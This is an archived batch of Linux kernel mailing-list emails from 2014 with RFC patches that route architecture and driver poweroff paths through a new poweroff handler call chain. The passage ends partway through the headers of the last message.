DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=AXCXelfFBF9Qup1zIS8kAW0koqpAsX+wMSHV+onBGiQ=;
        b=cRpyTkRrkvfbaSD+MQoYF5i8oJdCHhGsKjqZQb4M1oZyTFQb1ZKmCBvMva2VBOt5gn
         im9NveAX09uE8Fv/RlxANtb7rX7MgFfEhUE+FXZ9tsMnOrYzBu84LFmUmSvE8ADmx5+v
         dYFtm7tpuee+PLiXwxnCij0xpdrRe3zaBlhjqYapKbjeBSYN+lc9IpXhLe3DlsiGIOTa
         bkQakGxZubmnnpJGepOW4bupkaskL9jQRLlwwiTASos1nhREgrzi709z6AyUCqSD398b
         v6pXnP9vkwJLoEmb/5NO7gazUo6vK1lXP0ibtpfmihlEZUDGDHXuctci+2bn3L7kzG0Z
         EPyw==
X-Received: by 10.68.132.65 with SMTP id os1mr72153041pbb.82.1412100098050;
        Tue, 30 Sep 2014 11:01:38 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net. [108.223.40.66])
        by mx.google.com with ESMTPSA id v11sm15871201pas.24.2014.09.30.11.01.37
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Tue, 30 Sep 2014 11:01:37 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
Original-Sender: linux-pm-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pm.vger.kernel.org>
X-Mailing-List: linux-pm@vger.kernel.org
Xref: news.gmane.org gmane.linux.power-management.general:50360 gmane.linux.kernel:1798516 gmane.linux.ports.arm.kernel:361241 gmane.linux.ports.ia64:24429 gmane.linux.kernel.metag:270 gmane.linux.ports.mips.general:44058 gmane.linux.ports.parisc:6040 gmane.linux.ports.sh.devel:39634
Archived-At: <http://permalink.gmane.org/gmane.linux.power-management.general/50360>

The kernel core now supports a poweroff handler call chain
to remove power from the system. Call it if pm_power_off
is set to NULL.

Cc: Guan Xuetao <gxt@mprc.pku.edu.cn>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 arch/unicore32/kernel/process.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/arch/unicore32/kernel/process.c b/arch/unicore32/kernel/process.c
index b008e99..421fde6 100644
--- a/arch/unicore32/kernel/process.c
+++ b/arch/unicore32/kernel/process.c
@@ -66,6 +66,8 @@ void machine_power_off(void)
 {
 	if (pm_power_off)
 		pm_power_off();
+	else
+		do_kernel_poweroff();
 	machine_halt();
 }
 
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-pm" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: [RFC PATCH 10/16] mips: support poweroff through poweroff handler call chain
Date: Tue, 30 Sep 2014 11:00:50 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <1412100056-15517-11-git-send-email-linux@roeck-us.net>
References: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412100113 7468 80.91.229.3 (30 Sep 2014 18:01:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Sep 2014 18:01:53 +0000 (UTC)
Cc: linux-pm@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	linux-c6x-dev@linux-c6x.org, linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
	xen-devel@lists.xenproject.org, Guenter Roeck <linux@roeck-us.net>,
	Ralf Baechle <ralf@linux-mips.org>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Sep 30 20:01:42 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XZ1k6-0007Vs-46
	for glk-linux-kernel-3@plane.gmane.org; Tue, 30 Sep 2014 20:01:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753738AbaI3SBh (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 30 Sep 2014 14:01:37 -0400
Original-Received: from mail-pd0-f169.google.com ([209.85.192.169]:52324 "EHLO
	mail-pd0-f169.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752790AbaI3SBd (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 30 Sep 2014 14:01:33 -0400
Original-Received: by mail-pd0-f169.google.com with SMTP id p10so7698235pdj.14
        for <multiple recipients>; Tue, 30 Sep 2014 11:01:33 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=1jTsrjIy7XPXCWfuk8ulIaPqKvEJId6ShVaPWTNgoDI=;
        b=yj1Za2whQ+BkBD6abAdE/tJhcGNoxf7xsJcIp9AmS0GHifa7jXcob/SfPz4CvyTvnY
         7UKp7SIwgokc6jPRkvEBVwgVZcThfmd2hv1B3Uudx1ZfwB9Mm0nRs+6t/Ymu1SciNo+t
         KpracvyPWSQN7rMcx+s8rl1ru+EMCmhVTTGT18EHiJNtcoX5krsAq7aafF7mSVWpFIrK
         28RHyXYvzObpvfEwuzLTZjC+m3mp1zLd7FJ+U+vx1bBUB0JE9l//KMFZLyy29fOTfC4n
         roZss9jVs8Y2MMwlZ/AOONeLLBve995VihX65mlkukMWvuc5hGHZ4rHZw8tGn5iGwCD8
         XwYA==
X-Received: by 10.66.162.40 with SMTP id xx8mr72097131pab.31.1412100093148;
        Tue, 30 Sep 2014 11:01:33 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net. [108.223.40.66])
        by mx.google.com with ESMTPSA id b4sm15815976pdh.2.2014.09.30.11.01.32
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Tue, 30 Sep 2014 11:01:32 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1798517 gmane.linux.power-management.general:50361 gmane.linux.ports.arm.kernel:361242 gmane.linux.ports.ia64:24430 gmane.linux.kernel.metag:271 gmane.linux.ports.mips.general:44059 gmane.linux.ports.parisc:6041 gmane.linux.ports.sh.devel:39635
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1798517>

The kernel core now supports a poweroff handler call chain
to remove power from the system. Call it if pm_power_off
is set to NULL.

Cc: Ralf Baechle <ralf@linux-mips.org>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 arch/mips/kernel/reset.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/arch/mips/kernel/reset.c b/arch/mips/kernel/reset.c
index 07fc524..c3391d7 100644
--- a/arch/mips/kernel/reset.c
+++ b/arch/mips/kernel/reset.c
@@ -41,4 +41,6 @@ void machine_power_off(void)
 {
 	if (pm_power_off)
 		pm_power_off();
+	else
+		do_kernel_poweroff();
 }
-- 
1.9.1


From - Thu Nov 08 21:10:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: [RFC PATCH 06/16] avr32: support poweroff through poweroff handler call chain
Date: Tue, 30 Sep 2014 11:00:46 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <1412100056-15517-7-git-send-email-linux@roeck-us.net>
References: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412100114 7472 80.91.229.3 (30 Sep 2014 18:01:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Sep 2014 18:01:54 +0000 (UTC)
Cc: linux-pm@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	linux-c6x-dev@linux-c6x.org, linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
	xen-devel@lists.xenproject.org, Guenter Roeck <linux@roeck-us.net>,
	Haavard Skinnemoen <hskinnemoen@gmail.com>,
	Hans-Christian Egtvedt <egtvedt@samfundet.no>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Sep 30 20:01:45 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1XZ1k4-0007Vs-E5
	for glk-linux-kernel-3@plane.gmane.org; Tue, 30 Sep 2014 20:01:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753594AbaI3SB2 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 30 Sep 2014 14:01:28 -0400
Original-Received: from mail-pd0-f180.google.com ([209.85.192.180]:40255 "EHLO
	mail-pd0-f180.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753496AbaI3SBY (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 30 Sep 2014 14:01:24 -0400
Original-Received: by mail-pd0-f180.google.com with SMTP id fp1so5594038pdb.25
        for <multiple recipients>; Tue, 30 Sep 2014 11:01:23 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=l0ih17lI6gLUFbnReJlh1XiIUybLfUhsfMTgyyqRLFE=;
        b=JJ1JFLtC0WTcVqWHax+xx1aKWBWGCpkaWUAfurr2/+S8wX0o+EO/DGlAkCw2e4T8fj
         fCK2NWlKRhrbhmUu+GVwmx/mANJ73tnqkDqcatiBQY7vRA7HU/FCFFn3QvLrNcfvdAxr
         lAM6vFQhd1gh19amzz1JwO5IkOJ3VXM2wbJCFHxbJNp4512/hPXs9xdbMDvsqRUlWfmd
         QQ9nmVibgb3cGOfYG4fyJMtjY+x7ThPjXAZd77nr+oM9qGtZPR5lFKUkH2IZzW4dnjqx
         dOKShG+rXyic944v/Z7mvmtCV+yiIO0Pl8YJ6b9xu00dy3xUlYeS9/dWkKhdkBDY0zeF
         Yk6A==
X-Received: by 10.70.65.34 with SMTP id u2mr90724887pds.58.1412100083255;
        Tue, 30 Sep 2014 11:01:23 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net. [108.223.40.66])
        by mx.google.com with ESMTPSA id z1sm15802187pdb.21.2014.09.30.11.01.22
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Tue, 30 Sep 2014 11:01:22 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1798518 gmane.linux.power-management.general:50362 gmane.linux.ports.arm.kernel:361243 gmane.linux.ports.ia64:24431 gmane.linux.kernel.metag:272 gmane.linux.ports.mips.general:44060 gmane.linux.ports.parisc:6042 gmane.linux.ports.sh.devel:39636
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1798518>

The kernel core now supports a poweroff handler call chain
to remove power from the system. Call it if pm_power_off
is set to NULL.

Cc: Haavard Skinnemoen <hskinnemoen@gmail.com>
Cc: Hans-Christian Egtvedt <egtvedt@samfundet.no>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 arch/avr32/kernel/process.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/arch/avr32/kernel/process.c b/arch/avr32/kernel/process.c
index 42a53e74..6bd6289 100644
--- a/arch/avr32/kernel/process.c
+++ b/arch/avr32/kernel/process.c
@@ -50,6 +50,8 @@ void machine_power_off(void)
 {
 	if (pm_power_off)
 		pm_power_off();
+	else
+		do_kernel_poweroff();
 }
 
 void machine_restart(char *cmd)
-- 
1.9.1


From - Thu Nov 08 21:10:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.arm.kernel,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: [RFC PATCH 03/16] parisc: support poweroff through poweroff handler call chain
Date: Tue, 30 Sep 2014 11:00:43 -0700
Lines: 69
Approved: news@gmane.org
Message-ID: <1412100056-15517-4-git-send-email-linux@roeck-us.net>
References: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412100114 7474 80.91.229.3 (30 Sep 2014 18:01:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Sep 2014 18:01:54 +0000 (UTC)
Cc: linux-pm@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
	linux-c6x-dev@linux-c6x.org, linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
	xen-devel@lists.xenproject.org, Guenter Roeck <linux@roeck-us.net>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-ia64-owner@vger.kernel.org Tue Sep 30 20:01:45 2014
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1XZ1k3-0007Vs-UC
	for glpi-linux-ia64-2@plane.gmane.org; Tue, 30 Sep 2014 20:01:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753479AbaI3SBX (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Tue, 30 Sep 2014 14:01:23 -0400
Original-Received: from mail-pa0-f46.google.com ([209.85.220.46]:43664 "EHLO
	mail-pa0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753333AbaI3SBQ (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Tue, 30 Sep 2014 14:01:16 -0400
Original-Received: by mail-pa0-f46.google.com with SMTP id kq14so6758072pab.19
        for <multiple recipients>; Tue, 30 Sep 2014 11:01:15 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=UQk2ZZIEsVV7XoBvwBpR2xNqiFttFEVsvwGJrA9ovjo=;
        b=RpgJOc5f6D4ezqK8vg12ZsWDCubAigAMtWGnSg09mE3LDY2cksZZ0QTwtto/Ra15ax
         yDO7QBUwhaqRqjfuIeEQH+T6Hor5SLCAR6m10hb/43wJcfd1PCRQAzi7SHtcJnQ+gnS9
         EOmoNWNZalEbu0nnRVJ+W72p87mGOQ6sAoBX20q7TSwWpQyaMg8mEZHqIpLRjlGP/ZBq
         TGo2Ol4D0/QlIDtuktQl+RyZA0XtqnNq7rwkwhfSBBW4BvyBNZsGxNce6KPzqnsK3e7s
         hzmro+ZTqCXzp4yTMb4x860bb61Jigw2Dmo4oQ9PlOmQ6gqu7J9zTMhFIrSTfILrfZZt
         8+2g==
X-Received: by 10.68.95.227 with SMTP id dn3mr72199435pbb.108.1412100075765;
        Tue, 30 Sep 2014 11:01:15 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net. [108.223.40.66])
        by mx.google.com with ESMTPSA id f2sm15798823pdd.25.2014.09.30.11.01.14
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Tue, 30 Sep 2014 11:01:15 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:24432 gmane.linux.kernel:1798519 gmane.linux.power-management.general:50363 gmane.linux.ports.arm.kernel:361244 gmane.linux.kernel.metag:273 gmane.linux.ports.mips.general:44061 gmane.linux.ports.parisc:6043 gmane.linux.ports.sh.devel:39637
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/24432>

The kernel core now supports a poweroff handler call chain
to remove power from the system. Call it from machine_power_off.

Also, do not use pm_power_off as alternate pointer to machine_power_off.
Have the parisc/power driver call kernel_power_off() which in turn will
call machine_power_off().

Cc: James E.J. Bottomley <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
 arch/parisc/kernel/process.c | 7 +++++--
 drivers/parisc/power.c       | 3 +--
 2 files changed, 6 insertions(+), 4 deletions(-)

diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index 0bbbf0d..21d1ab3 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -42,6 +42,7 @@
 #include <linux/module.h>
 #include <linux/personality.h>
 #include <linux/ptrace.h>
+#include <linux/reboot.h>
 #include <linux/sched.h>
 #include <linux/slab.h>
 #include <linux/stddef.h>
@@ -133,7 +134,9 @@ void machine_power_off(void)
 	pdc_soft_power_button(0);
 	
 	pdc_chassis_send_status(PDC_CHASSIS_DIRECT_SHUTDOWN);
-		
+
+	do_kernel_poweroff();
+
 	/* It seems we have no way to power the system off via
 	 * software. The user has to press the button himself. */
 
@@ -141,7 +144,7 @@ void machine_power_off(void)
 	       "Please power this system off now.");
 }
 
-void (*pm_power_off)(void) = machine_power_off;
+void (*pm_power_off)(void);
 EXPORT_SYMBOL(pm_power_off);
 
 /*
diff --git a/drivers/parisc/power.c b/drivers/parisc/power.c
index 90cca5e..de5b2ff 100644
--- a/drivers/parisc/power.c
+++ b/drivers/parisc/power.c
@@ -95,8 +95,7 @@ static void process_shutdown(void)
 		/* send kill signal */
 		if (kill_cad_pid(SIGINT, 1)) {
 			/* just in case killing init process failed */
-			if (pm_power_off)
-				pm_power_off();
+			kernel_power_off();
 		}
 	}
 }
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: [RFC PATCH 02/16] hwmon: (ab8500) Call kernel_power_off instead of pm_power_off
Date: Tue, 30 Sep 2014 11:00:42 -0700
Lines: 47
Approved: news@gmane.org
Message-ID: <1412100056-15517-3-git-send-email-linux@roeck-us.net>
References: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412100148 7967 80.91.229.3 (30 Sep 2014 18:02:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Sep 2014 18:02:28 +0000 (UTC)
Cc: linux-pm@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        linux-c6x-dev@linux-c6x.org, linux-ia64@vger.kernel.org,
        linux-metag@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        xen-devel@lists.xenproject.org, Guenter Roeck <linux@roeck-us.net>,
        Jean Delvare <jdelvare@suse.de>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-mips-bounce@linux-mips.org Tue Sep 30 20:02:20 2014
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1XZ1kh-0007rQ-Cv
	for sgi-linux-mips@gmane.org; Tue, 30 Sep 2014 20:02:19 +0200
Original-Received: from localhost.localdomain ([127.0.0.1]:34961 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27010195AbaI3SCQd4Hxd (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Tue, 30 Sep 2014 20:02:16 +0200
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 30 Sep 2014 20:02:01 +0200 (CEST)
Original-Received: from mail-pd0-f181.google.com ([209.85.192.181]:38477 "EHLO
        mail-pd0-f181.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27010154AbaI3SBTSFoXC (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Tue, 30 Sep 2014 20:01:19 +0200
Original-Received: by mail-pd0-f181.google.com with SMTP id z10so5559344pdj.26
        for <linux-mips@linux-mips.org>; Tue, 30 Sep 2014 11:01:13 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=sender:from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=9PcH9vkqtbwsQEhiONThBwmzk2VQhEfeE7yLBkZxmg8=;
        b=SF6B8zhBABnJvHJcJpUhdlVKHl4srwi2kmAkFGImYdDKRg7wRv9uPAo8ouWn4WvJGc
         DfcKipMxk2k7unsqfOQ4D+YcPKOoQnkzscGCYFA6CffrqNlA9oF4n2Qg3B5iwLQ8/Kky
         TugkkGbVBhcSdRuaVY/oU5LjCwWnCesRw9EUANsHE9wNPAzP1SEpZIXS5QfumaFSYpLN
         UlJbdgjlZAFtlATlSNlNoixWS7w2y9aA8cvdaub7cONnDj+4mp1+3EIvBDUgbpbTt/VX
         nhlSV9jtGdgXBWVQ1F6hXoizor4KjQSOISt/2vWhFyDQ9h5oNelLtufDv56ROWV5M2Lc
         ksHQ==
X-Received: by 10.69.20.10 with SMTP id gy10mr38012021pbd.119.1412100073196;
        Tue, 30 Sep 2014 11:01:13 -0700 (PDT)
Original-Received: from localhost (108-223-40-66.lightspeed.sntcca.sbcglobal.net. [108.223.40.66])
        by mx.google.com with ESMTPSA id n3sm6561773pda.7.2014.09.30.11.01.12
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Tue, 30 Sep 2014 11:01:12 -0700 (PDT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
X-archive-position: 42908
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: linux@roeck-us.net
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:44062 gmane.linux.kernel:1798520 gmane.linux.power-management.general:50364 gmane.linux.ports.arm.kernel:361245 gmane.linux.ports.ia64:24433 gmane.linux.kernel.metag:274 gmane.linux.ports.parisc:6044 gmane.linux.ports.sh.devel:39638
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/44062>

Drivers should not call pm_power_off directly; it is not guaranteed
to be non-NULL. Call kernel_power_off instead.

Cc: Jean Delvare <jdelvare@suse.de>
Signed-off-by: Guenter Roeck <linux@roeck-us.net>
---
I already submitted this patch separately as non-RFC. It is included
in this series for completeness.

 drivers/hwmon/ab8500.c | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/drivers/hwmon/ab8500.c b/drivers/hwmon/ab8500.c
index d844dc8..8b6a4f4 100644
--- a/drivers/hwmon/ab8500.c
+++ b/drivers/hwmon/ab8500.c
@@ -6,7 +6,7 @@
  *
  * When the AB8500 thermal warning temperature is reached (threshold cannot
  * be changed by SW), an interrupt is set, and if no further action is taken
- * within a certain time frame, pm_power off will be called.
+ * within a certain time frame, kernel_power_off will be called.
  *
  * When AB8500 thermal shutdown temperature is reached a hardware shutdown of
  * the AB8500 will occur.
@@ -21,6 +21,7 @@
 #include <linux/module.h>
 #include <linux/platform_device.h>
 #include <linux/power/ab8500.h>
+#include <linux/reboot.h>
 #include <linux/slab.h>
 #include <linux/sysfs.h>
 #include "abx500.h"
@@ -106,7 +107,7 @@ static void ab8500_thermal_power_off(struct work_struct *work)
 
 	dev_warn(&abx500_data->pdev->dev, "Power off due to critical temp\n");
 
-	pm_power_off();
+	kernel_power_off();
 }
 
 static ssize_t ab8500_show_name(struct device *dev,
-- 
1.9.1




From - Thu Nov 08 21:10:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel,gmane.linux.power-management.general,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: [RFC PATCH 14/16] x86/xen: support poweroff through poweroff handler call chain
Date: Tue, 30 Sep 2014 11:00:54 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <1412100056-15517-15-git-send-email-linux@roeck-us.net>
References: <1412100056-15517-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1412100164 8158 80.91.229.3 (30 Sep 2014 18:02:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 30 Sep 2014 18:02:44 +0000 (UTC)
Cc: linux-pm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org, Guenter Roeck <linux-0h96xk9xTtrk1uMJSBkQmQ@public.gmane.org>,
	Konrad Rzeszutek Wilk <konrad.wilk-QHcLZuEGTsvQT0dZR+AlfA@public.gmane.org>,
	Boris Ostrovsky <boris.ostrovsky-QHcLZuEGTsvQT0dZR+AlfA@public.gmane.org>,
	Thomas Gleixner <tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org>,
	Ingo Molnar <mingo-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>,
